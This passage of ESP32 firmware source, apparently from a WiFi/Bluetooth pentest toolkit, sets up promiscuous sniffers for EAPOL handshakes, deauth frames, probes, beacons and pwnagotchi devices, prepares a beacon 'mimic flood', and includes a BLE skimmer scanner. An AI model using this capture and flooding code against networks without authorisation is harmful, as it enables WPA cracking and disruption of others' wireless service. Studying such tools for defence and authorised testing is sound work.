  603. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  604. display_obj.tft.setTextSize(1);
  605. display_obj.tft.setTextColor(TFT_CYAN);
  606. display_obj.tft.println(text_table4[20]);
  607. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  608. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  609. #endif
  610. if (this->wsl_bypass_enabled) {
  611. #ifdef HAS_SCREEN
  612. display_obj.tft.println(text_table4[23]);
  613. #endif
  614. }
  615. else {
  616. #ifdef HAS_SCREEN
  617. display_obj.tft.println(text_table4[24]);
  618. #endif
  619. }
  620. #ifdef HAS_SCREEN
  621. display_obj.tft.println(text_table4[25] + sta_mac);
  622. display_obj.tft.println(text_table4[26] + ap_mac);
  623. display_obj.tft.println(text_table4[27] + free_ram);
  624. #endif
  625. if (sd_obj.supported) {
  626. #ifdef HAS_SCREEN
  627. display_obj.tft.println(text_table4[28]);
  628. display_obj.tft.print(text_table4[29]);
  629. display_obj.tft.print(sd_obj.card_sz);
  630. display_obj.tft.println("MB");
  631. #endif
  632. }
  633. else {
  634. #ifdef HAS_SCREEN
  635. display_obj.tft.println(text_table4[30]);
  636. display_obj.tft.println(text_table4[31]);
  637. #endif
  638. }
  639. battery_obj.battery_level = battery_obj.getBatteryLevel();
  640. if (battery_obj.i2c_supported) {
  641. #ifdef HAS_SCREEN
  642. display_obj.tft.println(text_table4[32]);
  643. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  644. #endif
  645. }
  646. else {
  647. #ifdef HAS_SCREEN
  648. display_obj.tft.println(text_table4[34]);
  649. #endif
  650. }
  651. #ifdef HAS_SCREEN
  652. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  653. #endif
  654. }
  655. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  656. sd_obj.openCapture("espressif");
  657. #ifdef MARAUDER_FLIPPER
  658. flipper_led.sniffLED();
  659. #endif
  660. #ifdef HAS_SCREEN
  661. display_obj.TOP_FIXED_AREA_2 = 48;
  662. display_obj.tteBar = true;
  663. display_obj.print_delay_1 = 15;
  664. display_obj.print_delay_2 = 10;
  665. display_obj.initScrollValues(true);
  666. display_obj.tft.setTextWrap(false);
  667. display_obj.tft.setTextColor(TFT_WHITE, color);
  668. #ifndef MARAUDER_MINI
  669. display_obj.tft.fillRect(0,16,240,16, color);
  670. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  671. display_obj.touchToExit();
  672. #endif
  673. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  674. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  675. #endif
  676. esp_wifi_init(&cfg);
  677. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  678. esp_wifi_set_mode(WIFI_MODE_NULL);
  679. esp_wifi_start();
  680. esp_wifi_set_promiscuous(true);
  681. esp_wifi_set_promiscuous_filter(&filt);
  682. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  683. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  684. this->wifi_initialized = true;
  685. initTime = millis();
  686. }
  687. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  688. {
  689. #ifdef MARAUDER_FLIPPER
  690. flipper_led.sniffLED();
  691. #endif
  692. sd_obj.openCapture("packet_monitor");
  693. #ifndef MARAUDER_MINI
  694. #ifdef HAS_SCREEN
  695. display_obj.tft.init();
  696. display_obj.tft.setRotation(1);
  697. display_obj.tft.fillScreen(TFT_BLACK);
  698. #endif
  699. #ifdef HAS_SCREEN
  700. #ifdef TFT_SHIELD
  701. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  702. Serial.println("Using TFT Shield");
  703. #else if defined(TFT_DIY)
  704. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  705. Serial.println("Using TFT DIY");
  706. #endif
  707. display_obj.tft.setTouch(calData);
  708. //display_obj.tft.setFreeFont(1);
  709. display_obj.tft.setFreeFont(NULL);
  710. display_obj.tft.setTextSize(1);
  711. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  712. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  713. delay(10);
  714. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  715. display_obj.tftDrawColorKey();
  716. display_obj.tftDrawXScaleButtons(x_scale);
  717. display_obj.tftDrawYScaleButtons(y_scale);
  718. display_obj.tftDrawChannelScaleButtons(set_channel);
  719. display_obj.tftDrawExitScaleButtons();
  720. #endif
  721. #else
  722. #ifdef HAS_SCREEN
  723. display_obj.TOP_FIXED_AREA_2 = 48;
  724. display_obj.tteBar = true;
  725. display_obj.print_delay_1 = 15;
  726. display_obj.print_delay_2 = 10;
  727. display_obj.initScrollValues(true);
  728. display_obj.tft.setTextWrap(false);
  729. display_obj.tft.setTextColor(TFT_WHITE, color);
  730. #ifndef MARAUDER_MINI
  731. display_obj.tft.fillRect(0,16,240,16, color);
  732. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  733. display_obj.touchToExit();
  734. #endif
  735. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  736. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  737. #endif
  738. #endif
  739. Serial.println("Running packet scan...");
  740. esp_wifi_init(&cfg);
  741. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  742. esp_wifi_set_mode(WIFI_MODE_NULL);
  743. esp_wifi_start();
  744. esp_wifi_set_promiscuous(true);
  745. esp_wifi_set_promiscuous_filter(&filt);
  746. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  747. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  748. this->wifi_initialized = true;
  749. uint32_t initTime = millis();
  750. }
  751. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  752. {
  753. #ifdef MARAUDER_FLIPPER
  754. flipper_led.sniffLED();
  755. #endif
  756. num_eapol = 0;
  757. #ifndef MARAUDER_MINI
  758. #ifdef HAS_SCREEN
  759. display_obj.tft.init();
  760. display_obj.tft.setRotation(1);
  761. display_obj.tft.fillScreen(TFT_BLACK);
  762. #endif
  763. sd_obj.openCapture("eapol");
  764. #ifdef HAS_SCREEN
  765. #ifdef TFT_SHIELD
  766. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  767. //Serial.println("Using TFT Shield");
  768. #else if defined(TFT_DIY)
  769. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  770. //Serial.println("Using TFT DIY");
  771. #endif
  772. display_obj.tft.setTouch(calData);
  773. display_obj.tft.setFreeFont(NULL);
  774. display_obj.tft.setTextSize(1);
  775. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  776. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  777. delay(10);
  778. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  779. display_obj.tftDrawEapolColorKey();
  780. display_obj.tftDrawChannelScaleButtons(set_channel);
  781. display_obj.tftDrawExitScaleButtons();
  782. #endif
  783. #else
  784. sd_obj.openCapture("eapol");
  785. #ifdef HAS_SCREEN
  786. display_obj.TOP_FIXED_AREA_2 = 48;
  787. display_obj.tteBar = true;
  788. display_obj.print_delay_1 = 15;
  789. display_obj.print_delay_2 = 10;
  790. display_obj.initScrollValues(true);
  791. display_obj.tft.setTextWrap(false);
  792. display_obj.tft.setTextColor(TFT_WHITE, color);
  793. #ifndef MARAUDER_MINI
  794. display_obj.tft.fillRect(0,16,240,16, color);
  795. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  796. display_obj.touchToExit();
  797. #endif
  798. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  799. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  800. #endif
  801. #endif
  802. wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  803. esp_wifi_init(&cfg);
  804. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  805. //esp_wifi_set_mode(WIFI_MODE_NULL);
  806. esp_wifi_set_mode(WIFI_AP_STA);
  807. esp_wifi_start();
  808. esp_wifi_set_promiscuous(true);
  809. esp_wifi_set_promiscuous_filter(&filt);
  810. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  811. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  812. else
  813. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  814. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  815. this->wifi_initialized = true;
  816. initTime = millis();
  817. }
  818. // Function to prepare for beacon mimic
  819. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  820. #ifdef HAS_SCREEN
  821. display_obj.TOP_FIXED_AREA_2 = 48;
  822. display_obj.tteBar = true;
  823. display_obj.print_delay_1 = 15;
  824. display_obj.print_delay_2 = 10;
  825. display_obj.initScrollValues(true);
  826. display_obj.tft.setTextWrap(false);
  827. display_obj.tft.setTextColor(TFT_BLACK, color);
  828. #ifndef MARAUDER_MINI
  829. display_obj.tft.fillRect(0,16,240,16, color);
  830. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  831. display_obj.touchToExit();
  832. #endif
  833. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  834. #endif
  835. packets_sent = 0;
  836. esp_wifi_init(&cfg);
  837. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  838. esp_wifi_set_mode(WIFI_AP_STA);
  839. esp_wifi_start();
  840. esp_wifi_set_promiscuous_filter(NULL);
  841. esp_wifi_set_promiscuous(true);
  842. esp_wifi_set_max_tx_power(78);
  843. this->wifi_initialized = true;
  844. initTime = millis();
  845. }
  846. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  847. {
  848. sd_obj.openCapture("pwnagotchi");
  849. #ifdef MARAUDER_FLIPPER
  850. flipper_led.sniffLED();
  851. #endif
  852. #ifdef HAS_SCREEN
  853. display_obj.TOP_FIXED_AREA_2 = 48;
  854. display_obj.tteBar = true;
  855. display_obj.print_delay_1 = 15;
  856. display_obj.print_delay_2 = 10;
  857. display_obj.initScrollValues(true);
  858. display_obj.tft.setTextWrap(false);
  859. display_obj.tft.setTextColor(TFT_WHITE, color);
  860. #ifndef MARAUDER_MINI
  861. display_obj.tft.fillRect(0,16,240,16, color);
  862. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  863. display_obj.touchToExit();
  864. #endif
  865. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  866. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  867. #endif
  868. esp_wifi_init(&cfg);
  869. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  870. esp_wifi_set_mode(WIFI_MODE_NULL);
  871. esp_wifi_start();
  872. esp_wifi_set_promiscuous(true);
  873. esp_wifi_set_promiscuous_filter(&filt);
  874. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  875. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  876. this->wifi_initialized = true;
  877. initTime = millis();
  878. }
  879. // Function to start running a beacon scan
  880. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  881. {
  882. sd_obj.openCapture("beacon");
  883. #ifdef MARAUDER_FLIPPER
  884. flipper_led.sniffLED();
  885. #endif
  886. #ifdef HAS_SCREEN
  887. display_obj.TOP_FIXED_AREA_2 = 48;
  888. display_obj.tteBar = true;
  889. display_obj.print_delay_1 = 15;
  890. display_obj.print_delay_2 = 10;
  891. display_obj.initScrollValues(true);
  892. display_obj.tft.setTextWrap(false);
  893. display_obj.tft.setTextColor(TFT_WHITE, color);
  894. #ifndef MARAUDER_MINI
  895. display_obj.tft.fillRect(0,16,240,16, color);
  896. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  897. display_obj.touchToExit();
  898. #endif
  899. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  900. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  901. #endif
  902. esp_wifi_init(&cfg);
  903. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  904. esp_wifi_set_mode(WIFI_MODE_NULL);
  905. esp_wifi_start();
  906. esp_wifi_set_promiscuous(true);
  907. esp_wifi_set_promiscuous_filter(&filt);
  908. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  909. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  910. this->wifi_initialized = true;
  911. initTime = millis();
  912. }
  913. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  914. {
  915. sd_obj.openCapture("deauth");
  916. #ifdef MARAUDER_FLIPPER
  917. flipper_led.sniffLED();
  918. #endif
  919. #ifdef HAS_SCREEN
  920. display_obj.TOP_FIXED_AREA_2 = 48;
  921. display_obj.tteBar = true;
  922. display_obj.print_delay_1 = 15;
  923. display_obj.print_delay_2 = 10;
  924. display_obj.initScrollValues(true);
  925. display_obj.tft.setTextWrap(false);
  926. display_obj.tft.setTextColor(TFT_BLACK, color);
  927. #ifndef MARAUDER_MINI
  928. display_obj.tft.fillRect(0,16,240,16, color);
  929. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  930. display_obj.touchToExit();
  931. #endif
  932. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  933. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  934. #endif
  935. esp_wifi_init(&cfg);
  936. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  937. esp_wifi_set_mode(WIFI_MODE_NULL);
  938. esp_wifi_start();
  939. esp_wifi_set_promiscuous(true);
  940. esp_wifi_set_promiscuous_filter(&filt);
  941. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  942. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  943. this->wifi_initialized = true;
  944. initTime = millis();
  945. }
  946. // Function for running probe request scan
  947. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  948. {
  949. sd_obj.openCapture("probe");
  950. #ifdef MARAUDER_FLIPPER
  951. flipper_led.sniffLED();
  952. #endif
  953. #ifdef HAS_SCREEN
  954. display_obj.TOP_FIXED_AREA_2 = 48;
  955. display_obj.tteBar = true;
  956. display_obj.print_delay_1 = 15;
  957. display_obj.print_delay_2 = 10;
  958. display_obj.initScrollValues(true);
  959. display_obj.tft.setTextWrap(false);
  960. display_obj.tft.setTextColor(TFT_BLACK, color);
  961. #ifndef MARAUDER_MINI
  962. display_obj.tft.fillRect(0,16,240,16, color);
  963. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  964. display_obj.touchToExit();
  965. #endif
  966. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  967. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  968. #endif
  969. esp_wifi_init(&cfg);
  970. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  971. esp_wifi_set_mode(WIFI_MODE_NULL);
  972. esp_wifi_start();
  973. esp_wifi_set_promiscuous(true);
  974. esp_wifi_set_promiscuous_filter(&filt);
  975. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  976. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  977. this->wifi_initialized = true;
  978. initTime = millis();
  979. }
  980. // Function to start running any BLE scan
  981. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  982. {
  983. #ifdef HAS_BT
  984. #ifdef HAS_SCREEN
  985. display_obj.print_delay_1 = 50;
  986. display_obj.print_delay_2 = 20;
  987. #endif
  988. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  989. NimBLEDevice::setScanDuplicateCacheSize(200);
  990. NimBLEDevice::init("");
  991. pBLEScan = NimBLEDevice::getScan(); //create new scan
  992. if (scan_mode == BT_SCAN_ALL)
  993. {
  994. #ifdef HAS_SCREEN
  995. display_obj.TOP_FIXED_AREA_2 = 48;
  996. display_obj.tteBar = true;
  997. display_obj.initScrollValues(true);
  998. display_obj.tft.setTextWrap(false);
  999. display_obj.tft.setTextColor(TFT_BLACK, color);
  1000. #ifndef MARAUDER_MINI
  1001. display_obj.tft.fillRect(0,16,240,16, color);
  1002. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  1003. display_obj.touchToExit();
  1004. #endif
  1005. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  1006. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1007. #endif
  1008. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  1009. }
  1010. else if (scan_mode == BT_SCAN_SKIMMERS)
  1011. {
  1012. #ifdef HAS_SCREEN
  1013. display_obj.TOP_FIXED_AREA_2 = 160;
  1014. display_obj.tteBar = true;
  1015. display_obj.tft.fillScreen(TFT_DARKGREY);
  1016. display_obj.initScrollValues(true);
  1017. display_obj.tft.setTextWrap(false);
  1018. display_obj.tft.setTextColor(TFT_BLACK, color);
  1019. display_obj.tft.fillRect(0,16,240,16, color);
  1020. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  1021. display_obj.twoPartDisplay(text_table4[43]);
  1022. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  1023. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1024. #endif
  1025. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  1026. }
  1027. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  1028. pBLEScan->setInterval(97);
  1029. pBLEScan->setWindow(37); // less or equal setInterval value
  1030. pBLEScan->setMaxResults(0);
  1031. pBLEScan->start(0, scanCompleteCB, false);
  1032. Serial.println("Started BLE Scan");
  1033. this->ble_initialized = true;
  1034. initTime = millis();
  1035. #endif
  1036. }
  1037. // Function that is called when BLE scan is completed
  1038. #ifdef HAS_BT
  1039. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  1040. printf("Scan complete!\n");
  1041. printf("Found %d devices\n", scanResults.getCount());
  1042. scanResults.dump();
  1043. } // scanCompleteCB
  1044. #endif
  1045. // Function to extract MAC addr from a packet at given offset
  1046. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  1047. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  1048. }
  1049. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1050. {
  1051. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1052. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1053. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1054. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1055. int len = snifferPacket->rx_ctrl.sig_len;
  1056. String display_string = "";
  1057. String src_addr_string = "";
  1058. if (type == WIFI_PKT_MGMT)
  1059. {
  1060. len -= 4;
  1061. }
  1062. int fctl = ntohs(frameControl->fctl);
  1063. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1064. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1065. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1066. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1067. //{
  1068. char addr[] = "00:00:00:00:00:00";
  1069. getMAC(addr, snifferPacket->payload, 10);
  1070. src_addr_string.concat(addr);
  1071. bool match = false;
  1072. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1073. if (src_addr_string.startsWith(espressif_macs[i])) {
  1074. match = true;
  1075. break;
  1076. }
  1077. }
  1078. if (!match)
  1079. return;
  1080. delay(random(0, 10));
  1081. Serial.print("RSSI: ");
  1082. Serial.print(snifferPacket->rx_ctrl.rssi);
  1083. Serial.print(" Ch: ");
  1084. Serial.print(snifferPacket->rx_ctrl.channel);
  1085. Serial.print(" BSSID: ");
  1086. Serial.print(addr);
  1087. //display_string.concat(" RSSI: ");
  1088. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1089. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1090. //display_string.concat(" ");
  1091. display_string.concat(" -> ");
  1092. display_string.concat(addr);
  1093. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1094. {
  1095. display_string.concat(" ");
  1096. }
  1097. Serial.print(" ");
  1098. #ifdef HAS_SCREEN
  1099. display_obj.loading = true;
  1100. display_obj.display_buffer->add(display_string);
  1101. display_obj.loading = false;
  1102. #endif
  1103. Serial.println();
  1104. if (save_packet)
  1105. sd_obj.addPacket(snifferPacket->payload, len);
  1106. //}
  1107. }
  1108. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1109. {
  1110. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1111. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1112. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1113. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1114. int len = snifferPacket->rx_ctrl.sig_len;
  1115. String display_string = "";
  1116. String src = "";
  1117. String essid = "";
  1118. if (type == WIFI_PKT_MGMT)
  1119. {
  1120. len -= 4;
  1121. int fctl = ntohs(frameControl->fctl);
  1122. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1123. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1124. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1125. #ifdef HAS_SCREEN
  1126. int buf = display_obj.display_buffer->size();
  1127. #else
  1128. int buf = 0;
  1129. #endif
  1130. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1131. {
  1132. char addr[] = "00:00:00:00:00:00";
  1133. getMAC(addr, snifferPacket->payload, 10);
  1134. src.concat(addr);
  1135. if (src == "de:ad:be:ef:de:ad") {
  1136. delay(random(0, 10));
  1137. Serial.print("RSSI: ");
  1138. Serial.print(snifferPacket->rx_ctrl.rssi);
  1139. Serial.print(" Ch: ");
  1140. Serial.print(snifferPacket->rx_ctrl.channel);
  1141. Serial.print(" BSSID: ");
  1142. Serial.print(addr);
  1143. //display_string.concat(addr);
  1144. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1145. Serial.print(" ESSID: ");
  1146. display_string.concat(" -> ");
  1147. // Just grab the first 255 bytes of the pwnagotchi beacon
  1148. // because that is where the name is
  1149. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1150. for (int i = 0; i < len - 37; i++)
  1151. {
  1152. Serial.print((char)snifferPacket->payload[i + 38]);
  1153. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1154. if (isAscii(snifferPacket->payload[i + 38]))
  1155. essid.concat((char)snifferPacket->payload[i + 38]);
  1156. else
  1157. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1158. }
  1159. //essid.concat("\": \"\"}}");
  1160. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1161. // Load json
  1162. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1163. DynamicJsonDocument json(1024); // ArduinoJson v6
  1164. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1165. // ArduinoJson v6
  1166. if (deserializeJson(json, essid)) {
  1167. Serial.println("\nCould not parse Pwnagotchi json");
  1168. display_string.concat(essid);
  1169. }
  1170. else {
  1171. Serial.println("\nSuccessfully parsed json");
  1172. String json_output;
  1173. //json.printTo(json_output); // ArduinoJson v5
  1174. serializeJson(json, json_output); // ArduinoJson v6
  1175. Serial.println(json_output);
  1176. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1177. }
  1178. int temp_len = display_string.length();
  1179. for (int i = 0; i < 40 - temp_len; i++)
  1180. {
  1181. display_string.concat(" ");
  1182. }
  1183. Serial.print(" ");
  1184. #ifdef HAS_SCREEN
  1185. if (display_obj.display_buffer->size() == 0)
  1186. {
  1187. display_obj.loading = true;
  1188. display_obj.display_buffer->add(display_string);
  1189. display_obj.loading = false;
  1190. }
  1191. #endif
  1192. Serial.println();
  1193. if (save_packet)
  1194. sd_obj.addPacket(snifferPacket->payload, len);
  1195. }
  1196. }
  1197. }
  1198. }
  1199. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1200. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1201. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1202. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1203. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1204. int len = snifferPacket->rx_ctrl.sig_len;
  1205. String display_string = "";
  1206. String essid = "";
  1207. String bssid = "";
  1208. if (type == WIFI_PKT_MGMT)
  1209. {
  1210. len -= 4;
  1211. int fctl = ntohs(frameControl->fctl);
  1212. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1213. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1214. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1215. #ifdef HAS_SCREEN
  1216. int buf = display_obj.display_buffer->size();
  1217. #else
  1218. int buf = 0;
  1219. #endif
  1220. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1221. {
  1222. char addr[] = "00:00:00:00:00:00";
  1223. getMAC(addr, snifferPacket->payload, 10);
  1224. bool in_list = false;
  1225. bool mac_match = true;
  1226. for (int i = 0; i < access_points->size(); i++) {
  1227. mac_match = true;
  1228. //Serial.print("Checking ");
  1229. //Serial.print(addr);
  1230. //Serial.println(" against " + (String)access_points->get(i).essid);
  1231. for (int x = 0; x < 6; x++) {
  1232. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1233. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1234. mac_match = false;
  1235. //Serial.println("MACs do not match");
  1236. break;
  1237. }
  1238. }
  1239. if (mac_match) {
  1240. in_list = true;
  1241. break;
  1242. }
  1243. }
  1244. if (!in_list) {
  1245. delay(random(0, 10));
  1246. Serial.print("RSSI: ");
  1247. Serial.print(snifferPacket->rx_ctrl.rssi);
  1248. Serial.print(" Ch: ");
  1249. Serial.print(snifferPacket->rx_ctrl.channel);
  1250. Serial.print(" BSSID: ");
  1251. Serial.print(addr);
  1252. display_string.concat(addr);
  1253. Serial.print(" ESSID: ");
  1254. display_string.concat(" -> ");
  1255. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1256. {
  1257. Serial.print((char)snifferPacket->payload[i + 38]);
  1258. display_string.concat((char)snifferPacket->payload[i + 38]);
  1259. essid.concat((char)snifferPacket->payload[i + 38]);
  1260. }
  1261. bssid.concat(addr);
  1262. int temp_len = display_string.length();
  1263. for (int i = 0; i < 40 - temp_len; i++)
  1264. {
  1265. display_string.concat(" ");
  1266. }
  1267. Serial.print(" ");
  1268. #ifdef HAS_SCREEN
  1269. if (display_obj.display_buffer->size() == 0)
  1270. {
  1271. display_obj.loading = true;
  1272. display_obj.display_buffer->add(display_string);
  1273. display_obj.loading = false;
  1274. }
  1275. #endif
  1276. if (essid == "") {
  1277. essid = bssid;
  1278. Serial.print(essid + " ");
  1279. }
  1280. //LinkedList<char> beacon = new LinkedList<char>();
  1281. /*AccessPoint ap = {essid,
  1282. snifferPacket->rx_ctrl.channel,
  1283. {snifferPacket->payload[10],
  1284. snifferPacket->payload[11],
  1285. snifferPacket->payload[12],
  1286. snifferPacket->payload[13],
  1287. snifferPacket->payload[14],
  1288. snifferPacket->payload[15]},
  1289. false,
  1290. NULL};*/
  1291. AccessPoint ap;
  1292. ap.essid = essid;
  1293. ap.channel = snifferPacket->rx_ctrl.channel;
  1294. ap.bssid[0] = snifferPacket->payload[10];
  1295. ap.bssid[1] = snifferPacket->payload[11];
  1296. ap.bssid[2] = snifferPacket->payload[12];
  1297. ap.bssid[3] = snifferPacket->payload[13];
  1298. ap.bssid[4] = snifferPacket->payload[14];
  1299. ap.bssid[5] = snifferPacket->payload[15];
  1300. ap.selected = false;
  1301. ap.beacon = new LinkedList<char>();
  1302. //for (int i = 0; i < len; i++) {
  1303. // ap.beacon->add(snifferPacket->payload[i]);
  1304. //}
  1305. ap.beacon->add(snifferPacket->payload[34]);
  1306. ap.beacon->add(snifferPacket->payload[35]);
  1307. Serial.print("\nBeacon: ");
  1308. for (int i = 0; i < ap.beacon->size(); i++) {
  1309. char hexCar[4];
  1310. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1311. Serial.print(hexCar);
  1312. if ((i + 1) % 16 == 0)
  1313. Serial.print("\n");
